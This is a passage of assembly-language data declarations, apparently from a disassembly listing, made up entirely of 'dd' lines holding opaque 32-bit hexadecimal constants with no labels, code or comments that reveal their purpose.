		dd 6AFDA10h, 0BEBCDC0Ch, 0BDA0210Fh, 8595B00Ch,	0F5148A6Eh
		dd 0EFA35051h, 0CE7FCB66h, 50F5310Ah, 0E4268163h, 53E2B2FAh
		dd 0FA2C1272h, 316FA8B4h, 89125CE5h, 86C1441Ch,	7C67EDA5h
		dd 0FFAE1672h, 68559C7Ah, 68FB3A9Ch, 0A49E864Bh, 4F72519Eh
		dd 487E6DC0h, 38767BE7h, 31D17CDFh, 5FDA0FADh, 6C0E5D9h
		dd 0F6F9BBD8h, 0AEE6AA63h, 0CE440653h, 6E82FFF1h, 0F3FBD1BAh
		dd 4145E607h, 0C90BB29Ch, 0EC0610Bh, 0C75B8373h, 0F4A43348h
		dd 2549EF14h, 5E5E219Dh, 0A73DFA92h, 2159009h, 7FE66824h
		dd 0DDD4C89Dh, 0CE518138h, 0B5741E0Ch, 2FA5420h, 0B5A1E293h
		dd 0FFD8D967h, 6CD43263h, 81AC32B4h, 191DCAB1h,	0FDF001FDh
		dd 0C6C9D84h, 0E947B1BAh, 2DACB492h, 9F394138h,	4FC5BA52h
		dd 6B9B953Eh, 9B44A533h, 0A12E2893h, 0BEB2358Bh, 0C297C8D1h
		dd 0F8279D94h, 1F59A38h, 0B0D14FA1h, 0F6AA3CD8h, 0FD8D1AEh
		dd 8E15B10Dh, 2E5FFA36h, 2DDE9037h, 0E45F67CFh,	0CE4ED8C5h
		dd 0A32D718Ch, 98B44D88h, 8FB20250h, 88668F37h,	0B49609C4h
		dd 0E848DE14h, 0B0B4EF1Ch, 61C213A1h, 0E9498666h, 42AAE4B4h
		dd 5A77F893h, 96D24616h, 9FD26C22h, 0E09ADBB2h,	695036B5h
		dd 0D72E6884h, 0EB9CD22Eh, 40FD5DBDh, 615D1698h, 0AEBBC889h
		dd 28771488h, 0E176CA58h, 1EE5D3B9h, 0FB5B28B5h, 0FD0C0C12h
		dd 452FC5A0h, 629B40A4h
		dd 45EE1BABh, 0CB071FDBh, 584F4856h, 8FE88FDBh,	4D2DF66h
		dd 6680E783h, 0CF512C20h, 1C60E34Ah, 7DAC5D8Bh,	0AC5CF294h
		dd 0E2DF0854h, 3DCA289Fh, 6C17589Eh, 6D6FCCBEh,	882A1DC7h
		dd 3871663h, 443C095Ch,	0A51E848Bh, 0B8930536h,	4AD1C67Bh
		dd 5A7F7F66h, 30686A77h, 7B06093h, 1ADDEDE1h, 0A87C4AC2h
		dd 2E0B4020h, 0C37C430Ch, 2AB77D0Fh, 0D92FE91Eh, 2A330C00h
		dd 7EBC8484h, 18C489E3h, 3A107E1Fh, 798BE14Dh, 0B241E6A5h
		dd 81E66E88h, 910EE8EFh, 41AB990h, 0F00BA7B4h, 16F5C8ACh
		dd 0A9005902h, 6A24DCE5h, 6A9C8359h, 9E228327h,	4F10CD64h
		dd 0EB146045h, 3274A01Ch, 6AE4A15Ch, 0EF358F81h, 60525835h
		dd 3755AC11h, 13AB5B6Eh, 6C2628F0h, 2C9B3426h, 68881C53h
		dd 3C44EFD6h, 8A70782Ah, 8BE198FDh, 570878F0h, 37D9960Ch
		dd 499D6573h, 39D1491Bh, 5FB81D87h, 1E7CF3EEh, 65CA24CFh
		dd 0DDE51C50h, 6798632Fh, 914370D1h, 0C512384Eh, 3215B83Dh
		dd 4AFCA5EAh, 43D140AEh, 1E6CE85Eh, 0E58D4920h,	5BFBE37Eh
		dd 0D351E892h, 1B73D457h, 0A0F0B91h, 1A9132FFh,	83D442FAh
		dd 0AAECE5D2h, 82EAA950h, 16AB38FBh, 7E3A9C1Eh,	0B6FD3597h
		dd 96DB73F4h, 78D524C2h, 0EDC4D4D0h, 95894439h,	20054846h
		dd 45A7BDB4h, 0A9CDB807h, 0CCE868C8h, 91D89A9Ah, 7C102885h
		dd 0A3F5DE34h, 30A34816h, 8C15E26Dh, 44BF43E7h,	5A95E659h
		dd 9BC2B5Fh, 643C059Ah,	0A7CC72F0h, 38391FE9h, 7054AD61h
		dd 0EB52A72Fh, 0B4007856h, 3E3D9938h, 0AAAD45B8h, 661C2C64h
		dd 3204168Fh, 0EF4B2AA4h, 0C86A58E1h, 0EEE0BB78h, 2C663D19h
		dd 56D9EE49h, 407B439Dh, 0DB013B12h, 0C7A7C24Dh, 0DBA362BEh
		dd 323BFE0Ch, 7601D76Ah, 0D42E561Ah, 4C3B1513h,	0A8C2B30Ah
		dd 0F87DD069h, 44EC81F5h, 2DBAA8AFh, 0BECE417Dh, 0ED99BD18h
		dd 437669D0h, 0FB8FC918h, 94663EECh, 0BE1DF392h, 260D2C2Fh
		dd 0AC7730D9h, 48BA7677h, 8B546BB4h, 6291C1C3h,	35028DFCh
		dd 0B81C5110h, 7248691Bh, 38858BD3h, 0CEDD3515h, 0DA1CDFF2h
		dd 0FC100AF0h, 668B2DC3h, 0E5F5DE22h, 0B535570Ch, 220B15C8h
		dd 0FC6CCE58h, 0A75C007Fh, 0F78D2E0Ch, 60BFCBF5h, 0FB19A2C2h
		dd 0F7B4CDCEh, 9F477668h, 0F987292Ch, 1E2B8F85h, 63D36E1Bh
		dd 83DBD448h, 0EE56E258h, 800DF8B8h, 3D2176BEh,	688DA6BBh
		dd 6389005h, 32C49735h,	80A1CCC8h, 0A23B8617h, 36CEF28Eh
		dd 0A430F754h, 81CBE6DCh, 2FA3A14Eh, 0E8B05B61h, 5A5671E7h
		dd 20574864h, 0EBD7F111h, 18F9C531h, 3C927FF6h,	5CF00E0Bh
		dd 5CD2D7CCh, 0C4DCE620h, 0BF379787h, 3FE19D6Ah, 5DE7B702h
		dd 20A59CCEh, 0C47E3225h, 0F3C1505Ch, 3967E3EDh, 3B3BC4C6h
		dd 0F743E4E7h, 0F500E8AAh, 8D49E701h, 0D8154765h, 5160B95Ch
		dd 87672027h, 360D6126h, 8FFACF75h, 586C2935h, 0B3E704EAh
		dd 34A82246h, 93A0F1E4h, 1A5213B5h, 1B5E99D2h, 0F73A41F7h
		dd 3B3A040h, 0F9106160h, 0C14D9F70h, 95B22E45h,	0E6F2053Fh
		dd 0E516408Ch, 0C81B7562h, 0C5A5B6D1h, 2D7A488Ah, 0C5FE7239h
		dd 4949A55h, 0CE785C95h, 0A58F3ED7h, 0F0556287h, 0B028C7AAh
		dd 5F1EC231h, 0D1F08834h, 1484F41Bh, 0F683833h,	0BCB60401h
		dd 2877A570h, 0F4B44000h, 0C5DF5E1Ah, 4251D863h, 2744D5C6h
		dd 0B24048A7h, 410F9CBCh, 0A5839D86h, 92AE086Eh, 0D3841830h
		dd 22617BC7h, 0D15D47ABh, 0FAF7E135h, 0E1B7174h, 4CCE038Dh
		dd 346745FCh, 4BF91033h, 1C01BD61h, 0DB06D86h, 85FD990Eh
		dd 8254944Bh, 0D957D37Ch, 17982637h, 7DDD2735h,	0DF95EFE5h
		dd 0AD8424DEh, 63274972h, 63180797h, 8E62E44Fh,	0B25530C4h
		dd 855B937Eh, 3177F9FAh, 0BE937CBh, 49B22B90h, 75254DFEh
		dd 14D7F536h, 171C56A2h, 0EAC77C69h, 1E24562Eh,	0D8C058CFh
		dd 16892931h, 0AFE1CD5h, 7F23C980h, 0D51D7657h,	75B108F6h
		dd 2DAD6F50h, 543A8E97h, 0D1D47F91h, 93725219h,	7D1CB298h
		dd 345724F3h, 706B1D9Bh, 0E5FE2597h, 0E373458Ch, 62CB6CBAh
		dd 0CDC8DEDAh, 0F959B676h, 1D237D16h, 9FEFB929h, 3F1902E8h
		dd 67CEAC85h, 684AE6C5h, 0F7CEDB7Eh, 1D02F1BCh,	1AA29490h
		dd 9981105Dh, 63FFF69Bh, 8D539B1Bh, 8A8FB5B4h, 0BB3350BCh
		dd 17375EB4h, 907D0E2Ch, 7E089DEEh, 0CC549E96h,	0D1C55356h
		dd 8114376Dh, 7F594A0Eh, 9B2ED5A4h, 0A30353C1h,	4F61DB30h
		dd 5CE6D2F3h, 7F0BB7D6h, 0DC70E7ECh, 9D010A84h,	7188A4E9h
		dd 0B6FBE3C5h, 0DBEC77A3h, 432CAFCAh, 0C5F32D79h, 1D0AB96Dh
		dd 54A58427h, 2B33FCE5h, 0C9BFAB84h, 0D22BF3ADh, 0DBB8ED0Eh
		dd 0ABA280Ch, 478B64C0h, 7A54CE63h, 0D94DFFAAh,	47111D4h
		dd 30A5E739h, 0E8F0FC07h, 0EB31A43Fh, 619475E3h, 7BCF5077h
		dd 2B3B7BBEh, 2E33EB5Ch, 8E6CA045h, 0B9BD1280h,	0E5EE7612h
		dd 36723DD7h, 0E7A6DD48h, 0F8938771h, 43BB881Ah, 6D9E591h
		dd 4C534226h, 0BCC1717Fh, 2CE16CA5h, 0DB7F4E9h,	0C99460BCh
		dd 0A436189Dh, 3335EB6Fh, 0A74F695Fh, 630F879Fh, 204A143Bh
		dd 3132D978h, 0A379F916h, 5C431690h, 0F4456308h, 42CC1B8Fh
		dd 0CAC3CCF9h, 32A7926h, 98A65BFEh, 4F8C7360h, 458CDBC8h
		dd 0ECA986FBh, 0D0D6380Eh, 2BA3F3C7h, 66F63B5Ch, 0EB08E468h
		dd 0E4FD6B45h, 0BB9D465Eh, 7200A6C8h, 0A1D3D54h, 0F7CF3406h
		dd 72E146F0h, 1BAB848Dh, 0DB0D1682h, 517FD9CEh,	18B97DC3h
		dd 355EE0F1h, 0A4029D72h, 15617197h, 0A0AAFF8h,	0ED70D992h
		dd 64498104h, 39DA8BE7h, 0A8119DCFh, 0BE14BD66h, 351B212Ah
		dd 0C04E2EC9h, 0E748D2A8h, 628E45D1h, 7AAF9722h, 794B7733h
		dd 70F7F3FDh, 9D91417Dh, 81038F6Eh, 0BD1AB642h,	12CD2A4Eh
		dd 84B73963h, 627CEC15h, 0F980C425h, 1492C657h,	0A48FE0Bh
		dd 93522FFFh, 0BAEF52AFh, 0BC333215h, 75407BC0h, 0A47A05E5h
		dd 13669988h, 0D9165B3Ah, 7471182h, 976F9BF2h, 38F0CE2Ah
		dd 0ED99ED10h, 0F5BC6B42h, 22AED1E6h, 20EFF194h, 6926B66Bh
		dd 7ED19F5Fh, 2F225015h, 462B370Bh, 0FA958F1Ah,	902DF239h
		dd 0C621BC8h, 1D3ABAA7h, 0C9CCC9DBh, 3BC08648h,	1B0C623Bh
		dd 77C015D6h, 5D376771h, 10D9740Fh, 66CB226Dh, 50F53014h
		dd 2AE25B4Ah, 0FF2780FEh, 0BE7CC644h, 85557BCCh, 0DDFC1B4h
		dd 355F06B0h, 9FE9BE42h, 5897D049h, 0C58827F3h,	7842919Ah
		dd 0E7972E3Fh, 8F0AC052h, 954A6819h, 750A5A16h,	0F863CFBEh
		dd 888D8FD4h, 34F5FF91h, 21344D3Dh, 1B054D80h, 0B04606F3h
		dd 1D3F5DFBh, 37650874h, 46E8211h, 0C930817Dh, 17725C4Ch
		dd 418E6C7Dh, 91EEA466h, 8CA26295h, 7D871182h, 0E6602C7Ah
		dd 8CE8F446h, 2C859C20h, 43A6492Fh, 2CF73163h, 6AAD9224h
		dd 120D4329h, 0CF1520B9h, 0BE36648Eh, 0D8FF1291h, 0D7446766h
		dd 0E803194Ah, 7D603860h, 2AE87A71h, 0A9B18719h, 0F4B53A5Dh
		dd 0C7992DC2h, 0C8932818h, 0C34B23F3h, 1CAED97h, 0D28CCD29h
		dd 90777D81h, 5FC5F5AEh, 192FC837h, 66271EBh, 544D5F94h
		dd 0B0E921A1h, 0A0154C60h, 3D68D6D3h, 54B866F5h, 49F79FF7h
		dd 0FA27BD36h, 8810EF0h, 0C86E15B8h, 0F85DF30Bh, 640616ECh
		dd 46A86838h, 59B09354h, 4E21DB65h, 0C0ADBAE1h,	75E2BCE0h
		dd 0C192DCE9h, 0C973274Dh, 0DF65E375h, 56D06D39h, 23EC0E8Dh
		dd 620375FCh, 0A78BB659h, 0E7C26C78h, 25B6793Eh, 0E7EE554Ch
		dd 666BC80Bh, 0D05819F2h
		dd 45EA398Dh, 197E52C5h, 0FB2DCE06h, 0B2C1539Bh, 6A6E1285h
		dd 0A39BC1D8h, 0F0644EBDh, 2780FCF0h, 254DEC9Dh, 197DA5EEh
		dd 12D4F7E1h, 0A6B476A3h, 11177756h, 24FAFCA8h,	0D27AB082h
		dd 0BB3C2789h, 0A9CD4F62h, 14691AADh, 5AD9B144h, 0A1ABCDA2h
		dd 2EFD6629h, 0EDD2265Ah, 0D8D1CF51h, 59E8F662h, 9B7831E8h
		dd 26AC383Bh, 527D73F0h, 9D10740Eh, 0D91661E1h,	0F0C7E98Ch
		dd 0A0BE398Bh, 0D2323A59h, 9035F660h, 0DFFFBE9Ah, 2327AE15h
		dd 83D3BEB1h, 0FF7EB069h, 7B520F2h, 633FDCB6h, 8BFD2E2Eh
		dd 0FFAC9E4Dh, 7FEB8071h, 0AD7271A1h, 0B9DDFA50h, 0EEA799FAh
		dd 0F3FA2597h, 7A84A911h, 4336CA3h, 0F6618927h,	3D172C64h
		dd 0B081C774h, 0E08DDA01h, 0B0435894h, 0E5E34DCCh, 0F940A338h
		dd 7511097Bh, 19D3058Bh, 0B594CF47h, 7101ACE8h,	0D3EA134Ch
		dd 1435FB30h, 54104EC9h, 89C00E53h, 70D98406h, 0BBDC8065h
		dd 9B76BCE7h, 0E612A9B8h, 0C9A9B20Bh, 646B47CEh, 0E7C1D55Bh
		dd 1E3C1CF6h, 0CDF65DBh, 21C8B9DAh, 602AEEA8h, 0E880A171h
		dd 39B16D7Eh, 0C91C9DA7h, 9999A507h, 669DFE97h,	39D50788h
		dd 0BC8E1752h, 0A7DE9A19h, 0ACA1F0A6h, 0B5297410h, 0D255F496h
		dd 5657F0BDh, 3316EAC5h, 99F8F72Ah, 0C0300BDEh,	807D61F3h
		dd 0A1FC58EBh, 3D9B2B05h, 0A2E11915h, 0E2543FC3h, 83B2FF32h
		dd 1BC965CCh, 2CECA775h, 0F71A24CBh, 0C9A0252Eh, 8EF0BBFh
		dd 2BEFA22h, 0F95407A4h, 0CE49CD88h, 642A2D4Eh,	52F157AAh
		dd 0E7798B27h, 54D076CCh, 3988C388h, 0B566706h,	62F822A6h
		dd 0AE6E5F69h, 0A76E24C0h, 9D1DEE4Ch, 0FDD0B8B3h, 0C9422318h
		dd 24FB8DD1h, 8FB73179h, 94AC7BE8h, 1C17295Fh, 0C8740172h
		dd 570A2C76h, 9DFD8846h, 1A7A1D51h, 0C09EC709h,	9BC99E2h
		dd 0D6984C74h, 0B8BF9FECh, 0DD1FD068h, 6EAA9381h, 0E238364Bh
		dd 0E5D3CC5Ch, 988A1AF0h, 0BD2A95DCh, 2343B0D5h, 16A3C3C8h
		dd 0DD89B280h, 0F4D37934h, 6F5700B9h, 0A91BA576h, 0C52B55F1h
		dd 9A8C69CEh, 0ACDBB402h, 0DEBCB642h, 0EA695E7Bh, 0AED9890Bh
		dd 0AC6FC332h, 330A5F60h, 80E8CFD7h, 8FC75771h,	385CE8DCh
		dd 1CEA9A8Fh, 53436653h, 0D42F3A93h, 32509D41h,	5D53BF6Dh
		dd 6229098h, 0DF06352Dh, 48E28237h, 0FA8148E4h,	67A62EAAh
		dd 0BB110695h, 10459F2Eh, 3899F4A4h, 777A6457h,	443CBA01h
		dd 9419B64Fh, 8BCB7FBFh, 0FA71C283h, 9CE3B67Ah,	8E880CA8h
		dd 76308FE0h, 6EFD0E12h, 449192BEh, 0D52F0AD3h,	0DFEDA6FBh
		dd 0B4F637B2h, 0D3385CA7h, 0D49D894Eh, 9BEA7522h, 5A0CBB0Ch
		dd 0ADB9E73Bh, 0F87B3333h, 67DE62B3h, 94D132EBh, 0B619269Bh
		dd 0A053E082h, 248528DCh, 0ABDB252Bh, 0D15365D7h, 328BFAD5h
		dd 0F6DC7F5Fh, 43E5A031h, 48AB83CDh, 60BB5290h,	4391A4ABh
		dd 248D3CBh, 478F8559h,	86A7ACA5h, 3DADF484h, 5BE8C5F4h
		dd 6264D152h, 4E0A3096h, 3EB920C9h, 6B4EF427h, 0CF074B32h
		dd 5D820527h, 27C6229Dh, 0CE8265D8h, 8610B156h,	0B9E9B6D3h
		dd 9920EA0Bh, 0BBF01A2Ch, 0FFC9F0E7h, 45D43E1Ah, 0F03B8B6Dh
		dd 0D14D86DBh, 0C91610C3h, 4FDCE43Fh, 871D422Ch, 4EBA6071h
		dd 1295D61Ch, 936A2DB7h, 0F595B54h, 2BF1434Bh, 0B0ADFD1Eh
		dd 27D08DC5h, 29B3AE6Dh, 9C6F3D9Fh, 82446F39h, 520BAF17h
		dd 6684CFE9h, 1BC093E4h, 92A83Dh, 7F830DD5h, 0F565B1FFh
		dd 0CEB34EFEh, 352E7C61h, 0C93FB1ACh, 69B18080h, 6DCA7964h
		dd 0A6ED30E0h, 0DC087F3Ah, 0A41E9588h, 47C25466h, 0B25487E6h
		dd 0E2D8EB95h, 82F588B9h, 0AF1413CBh, 5B52687Dh, 0D26D0258h
		dd 4D0FB82Eh, 7CB2CDB3h, 7B6A166Fh, 0B3C2F5EEh,	9DA88812h
		dd 0D7E50FDFh, 0CAD0D955h, 9EEADAD4h, 540CDA48h, 0DE491EBBh
		dd 8BF1F155h, 0CB88CD3Eh, 7C7BBFC4h, 4C7094F6h,	0C8A01DB3h
		dd 318FA27Ch, 0A5D46667h, 6A16C03Dh, 88A30AD0h,	9FA98024h
		dd 0BD6EF140h, 0DB097330h, 0F8410777h, 0E614B99Ah, 46BC4EA7h
		dd 80624EA5h, 87CDA69Ch, 34BCD53Bh, 3F41C56Bh, 1C80514Eh
		dd 91E0EB9Dh, 6669DF0h,	0CFC795D0h, 0C11E2B12h,	0FFCF0BDFh
		dd 0D0A1162Ah, 252D291Fh, 0BB065F4h, 0C67C6E57h, 27807A4Eh
		dd 2AB343D4h, 0DB181B69h, 0D90876CFh, 0B293CB2Fh, 7C157E77h
		dd 114B5545h, 3D96307Fh, 0CE7CC5A3h, 43353DD6h,	8FECFC25h
		dd 0D981F8E1h, 27E2F7A3h, 0E8A93C8h, 447D0F6Bh,	0E1677FA8h
		dd 3864DD86h, 34366F44h, 4D95C1DBh, 0B05FD1Eh, 6BDC30EFh
		dd 2C04708Ah, 9AE0304Ah, 0C831C1FBh, 0C8C20A7h,	2CBE20CEh
		dd 0AAB96EC9h, 4026CB53h, 5CB2B616h, 0DE8C89B3h, 9EEF9337h
		dd 3763CD3Ch, 0E50C9DFAh, 1FB143F0h, 303B96CFh,	402F108Fh
		dd 2EAB9E86h, 0AB0BD9F8h, 0FCB02DA4h, 0E8E3F8D8h, 9549D589h
		dd 21926668h, 154D49DDh, 285D6D01h, 2B535957h, 347F64FFh
		dd 89060B19h, 616BD350h, 0A1749798h, 0E7BEC52h,	9BFCEEB6h
		dd 54A310F7h, 0DD764B2Fh, 0DBE909CAh, 0C4A41FB7h, 0D4E4C95Eh
		dd 69E2A56Eh, 0FC8EDE76h, 0DDA1A4DAh, 0C4846FA9h, 803D157Bh
		dd 362A9ABh, 0E520C92h,	0E1005A55h, 60FAF937h, 0DD6C237Ah
		dd 258B1DC2h, 0A1C0DBBAh, 68AB1E2Ch, 8D1E0C49h,	0FF449060h
		dd 9B83DDF4h, 0FBEA5077h, 442401Dh, 0AD2644E9h,	0EE42B5F5h
		dd 78E553F3h, 0EDF12613h, 6E7E4F11h, 9A9E0245h,	0A5458724h
		dd 0B79103Eh, 0D2D3EABFh, 532B4620h, 4E8BD667h,	88941BA7h
		dd 322DD99Bh, 8F6D8B13h, 0B4B53AB0h, 2B883652h,	92F7C89Eh
		dd 96C06673h, 0BEF3E73Eh, 0FB7E3C72h, 0C20C0B06h, 0A01DAD8Dh
		dd 65B64E2Bh, 5B9ED714h, 9B9AFC7Fh, 7C6A6ED0h, 0C4EB066h
		dd 8D4D0C0h, 898A1CA2h,	78812FBAh, 98F33D5h, 45150A03h
		dd 217745DBh, 0A7293FB5h, 0F8532FB6h, 85842D18h, 916140BBh
		dd 0D69BC847h, 631A529Dh, 3EB2274Fh, 1815B18Dh,	2E7E9CFDh
		dd 0C2234555h, 0BD81F482h, 0FEF236D7h, 0CC07206Ch, 76CAB3E0h
		dd 0E1ABBAD6h, 9CBE7A0Dh, 40D697CDh, 46A70832h,	4B4A2D8h
		dd 47CF97EFh, 171F54D6h, 564054D9h, 4FCAE1C3h, 0C3B2AEFDh
		dd 2F94510Eh, 0A24A4CB7h, 0ACA66C1h, 20000627h,	14BC194h
		dd 0DD1277D3h, 573DA5BDh, 0E40AB53Ah, 42E075DDh, 8C18DDFh
		dd 3166A4F7h, 0A15D181Ch, 0FE5707A8h, 4DD1FF8Bh, 0C80B7D5Bh
		dd 5AF264DDh, 3A4EC032h, 94AFF74h, 8352D98Fh, 758E12EFh
		dd 159E910Fh, 0B7209339h, 0B4A28EAEh, 7B514BCh,	0E84F2492h
		dd 0F29EDD33h, 77E6D28Bh, 2244FC03h, 0A71C7D46h, 0E098CA19h
		dd 9E436A38h, 24AE3EDFh, 26A71AF4h, 9D4B5FF4h, 0EC0052CAh
		dd 7B1E7D83h, 143F4293h, 2729B3D3h, 0FA54D1B2h,	1FD97D8Fh
		dd 950E5ABFh, 5A6BEB84h, 0F52F5608h, 9EEB4C3h, 0E8641331h
		dd 0EABA8EB6h, 582B086h, 790719A1h, 9A234EFEh, 643D4ABBh
		dd 0C39EE573h, 0E0BBE13Dh, 0CA588539h, 0FC04326Fh, 337BF758h
		dd 0C01EF786h, 0D84D0E4Bh, 9EAA5CADh, 5DAF8AC5h, 0DC0BBB12h
		dd 5FD5DE7Eh, 2CB5FC47h, 344D5DB3h, 0A4512B0Fh,	0B0D6A555h
		dd 4882398h, 9690A393h,	0E2C6287Fh, 0D92CAA0Ch,	6147F259h
		dd 420FB5B5h, 0F663DEA6h, 2FF1418Ch, 659124C3h,	0EB682A41h
		dd 8D2CA5DCh, 0C7852DAAh, 0B280CF85h, 0DE5B2DF2h, 0A9329FF7h
		dd 67E627Fh, 0B5CD85E0h, 0E1AFDE22h, 0DFBD491Eh, 486A25BDh
		dd 3F2CA51Ch, 6EAC37ACh, 98A2C2B7h, 0CE75420Ah,	5F3785FFh
		dd 698D9E87h, 64A60A7Bh
		dd 0D787B3ACh, 9C79A9FAh, 952A1190h, 51926B38h,	0BED4BD3h
		dd 0AC462769h, 75757440h, 0AF59B809h, 0B29CE9E7h, 7254DD2Eh
		dd 0B2C030E6h, 4D6FB95Dh, 0E8C0F607h, 0A3EBC8A6h, 4A60E228h
		dd 4B70E420h, 0A25ACAE3h, 1DCD1A0Ah, 0B0356A3Dh, 4536704Bh
		dd 5A857021h, 26D57FFCh, 43AC2157h, 135BDE99h, 0B78BABD2h
		dd 0F3166532h, 0BBE068A8h, 7A94547Ah, 0B115F389h, 0BD0D13FCh
		dd 0DF86E75Dh, 1554160Fh, 13D3A29Ch, 4EF13875h,	2C94150Ch
		dd 1FA6B6B2h, 1FAFD0Dh,	1A4230E9h, 14C025A2h, 448B70ABh
		dd 0C1046AA8h, 7D596F73h, 32C897DBh, 499DA44Ah,	6DA27E5Ah
		dd 7DEBE5E6h, 5F9F15C1h, 0FFD9F77Eh, 9786C216h,	24D30776h
		dd 0FAFA0C13h, 0E2E58640h, 6656D73Fh, 0ECBCE050h, 29DC091Ah
		dd 0F0347FDh, 0C4D3664Ah, 69C4AB35h, 5D43858Bh,	4432AC3Eh
		dd 4656CE4Ah, 3817734h,	60980516h, 92E904C8h, 63C7A950h
		dd 2E4DC4F8h, 71ADBA17h, 4B71BE20h, 75E10120h, 3BC5E9CAh
		dd 0F2C8E5C9h, 4126923Ah, 0A27C3D5Eh, 65C7CD09h, 41D86AD0h
		dd 6C2F613Fh, 0DAADEDF5h, 2E29317h, 980D1A61h, 0E65DBBBFh
		dd 0DAC18D93h, 0D07B3C3Ch, 53163EEFh, 77A8F827h, 38FF4F89h
		dd 0E015ED66h, 0EF129438h, 0B37E45A1h, 0BFB05A8Fh, 0F46A9032h
		dd 72695CE6h, 4EDEE174h, 0F217F23Bh, 392424BBh,	0ED91E332h
		dd 87B3BDF7h, 4C258A76h, 2BD3AB88h, 5B47E0A9h, 2C5E05BAh
		dd 2EEF1529h, 0C3C5A85Bh, 0F05AF734h, 3A646962h, 9A6A71D4h
		dd 55653FF8h, 0A6D01ACDh, 5413A0A1h, 71EE58B3h,	0DBD9EBBh
		dd 0F17FCE0Eh, 0F2DF026Ah, 7AD76396h, 9DD9DA03h, 0EF8ED10h
		dd 0BB99516Bh, 1D79A3C6h, 28F54655h, 0D5881E8Fh, 351F3FD8h
		dd 0A7E66268h, 0BBC87EABh, 0E1453B87h, 0DA0C3B39h, 33B00DCBh
		dd 6FF24131h, 6F7C8D8Ah, 637C8839h, 2141CD32h, 33DFBF81h
		dd 0AFDB60D3h, 17D59D45h, 30853D18h, 0A5859657h, 0FA871272h
		dd 1C4E65CBh, 0BACFD170h, 55F32E41h, 4CB7A8FBh,	2D2506D7h
		dd 6A3CB82Ah, 5088BDA8h, 0BD645E1Fh, 855FCB7Ah,	79470C1Eh
		dd 6A6310F9h, 0F86D60B0h, 0A2F7B0EDh, 0BBAA570Ch, 0A8355ACFh
		dd 7EB9F875h, 0B2D7BBC9h, 0FF77B93Dh, 783A5CACh, 664772D3h
		dd 51CF17FAh, 2DE8622Bh, 0E9EB8E05h, 0D2D0CB7h,	9A4E342Fh
		dd 8E99350Dh, 0B42D8FAh, 0DF44379Ch, 0C5BD0CDh,	8C85D69Bh
		dd 0A6C78781h, 47C107D8h, 466AE1CAh, 3CBC03F3h,	0BF0DD82Eh
		dd 0B68C281Dh, 45194022h, 70F180D1h, 4759E3D4h,	78E79Ch
		dd 0CA57A2Fh, 5B9EB41Eh, 0ECB3D0B9h, 0CB45C062h, 0B2E70203h
		dd 0D7C8E231h, 437C1CA4h, 0F2D9E07Fh, 6941A2CCh, 0DC3CC494h
		dd 0DE5EBFB4h, 0CE46F46Ch, 0AFDABA19h, 66223D02h, 5DF42449h
		dd 49080E58h, 0B1CED97Bh, 1A0E909Ch, 65111F7Ch,	67C8280h
		dd 0F5845C2Fh, 84B428Fh, 4B0D36B0h, 0B1D66CB9h,	0D984365Ch
		dd 0B3C3AD8Eh, 1828F1AAh, 1ABF86ADh, 6AB1A74Dh,	0FEA6D83Eh
		dd 80DA6E88h, 341030B9h, 61C07AA3h, 9CEAD62Ah, 0CAC573BFh
		dd 84E22D5Fh, 1EFDFB4Ah, 78984811h, 0B7E6BEC4h,	5B4519CBh
		dd 0E176D8D9h, 591ECA9Eh, 771C83C7h, 13103262h,	6AA6395Bh
		dd 8EC08D10h, 1AD4388Eh, 0F12A7C1Fh, 0E1302268h, 7B26046Ch
		dd 26EC6467h, 0FBC76236h, 6803C714h, 7838E33Bh,	97E5698Eh
		dd 8F76C700h, 0C986A212h, 2403094Eh, 0FA69FFB9h, 40063F26h
		dd 0BA083090h, 2256EAF8h, 14E7E215h, 350F06E9h,	70F93CEDh
		dd 0AE49AFB5h, 0F9FB7232h, 818511ECh, 460D9C46h, 175A45F6h
		dd 0DF882C47h, 5F6392CFh, 55012DF1h, 5E6E9BE0h,	9195C45Bh
		dd 760DD4CFh, 508AD15Ch, 0FED57892h, 4C63A66Ch,	35BBD137h
		dd 7F986200h, 6C50D188h, 7F64AB40h, 70940C2Ah, 0BE7D5E67h
		dd 4E363375h, 58DDA469h, 91DAF849h, 0F65A874Dh,	0B94C99B3h
		dd 9098BAC7h, 0A854E8CBh, 0E0102411h, 2B526EDh,	9DD7E562h
		dd 0C50B9554h, 4B3FE822h, 0B393389Eh, 86923520h, 0CD6687CAh
		dd 5C7A5FC2h, 0CC5CA405h, 0DFD090A0h, 21DCF973h, 81040814h
		dd 0C67E7AFFh, 0C9F90187h, 0D61C881Ch, 397DD1A0h, 7F60F3EFh
		dd 9061C5B4h, 71DA105Fh, 8E595240h, 9F1E64F8h, 95885EE1h
		dd 2F6C72FBh, 9C0D4026h, 7EE981D3h, 0C3CE5B21h,	179ADF4Bh
		dd 3C538775h, 39631162h, 5176FF38h, 9F7F1634h, 4798ADFBh
		dd 9AC0FECBh, 59C5B9F9h, 86CEE8BBh, 42FE6485h, 11C32B6Ch
		dd 0BE3DF090h, 0A1494A53h, 2CB91FCFh, 0B93578AEh, 0FF84703Ah
		dd 0C94F7720h, 0C553148Eh, 144F05E6h, 0B07757E0h, 4578CE22h
		dd 0FBC7A90Dh, 0B5500486h, 3B33B9BAh, 0F72EBB7h, 685083C8h
		dd 14ED368Fh, 0B827A396h, 71FB0A87h, 0CBC30A29h, 2B9EB497h
		dd 0F8530F9Ah, 5E9A9F5Ah, 0B1176347h, 0C6002736h, 12259CF0h
		dd 8E5F7478h, 15F2F912h, 0CC9A2AFEh, 847CF5Ah, 34AB3B58h
		dd 39A098E9h, 0BDEDC47Ch, 4FD8589h, 0CD9DB81Bh,	0B18AFB08h
		dd 303E5278h, 991DB176h, 561FAE86h, 8F439338h, 0BE650FE2h
		dd 0AB99A673h, 628CD94Bh, 222C555Ch, 6916AEF0h,	79FE2D94h
		dd 0A748F932h, 0B2D92BA6h, 0A0DC9E3Ah, 0B54E78DFh, 0FBA09A62h
		dd 33ACDC33h, 0D5E21530h, 0A8DFED04h, 6561554Fh, 0A73C9E39h
		dd 0F0845166h, 0AC1B3116h, 4BE1E34Ch, 0B0629AC0h, 6BA207B4h
		dd 0A6BB1A48h, 4D1AA7E6h, 1A0B57F1h, 0F26C7581h, 402B7E74h
		dd 6C1F5B84h, 0FC5C60E3h, 2048C688h, 0D8EE2A50h, 7836F337h
		dd 5B96CF75h, 31DB353Dh, 0C1983DF6h, 0C5356ECEh, 7E33962Bh
		dd 8E9D815Ch, 1404EFB9h, 0C29B8A50h, 475CF309h,	7FA74E61h
		dd 2B66511Ch, 0CE658CB2h, 8C91955Ch, 312EF624h,	0D86450C4h
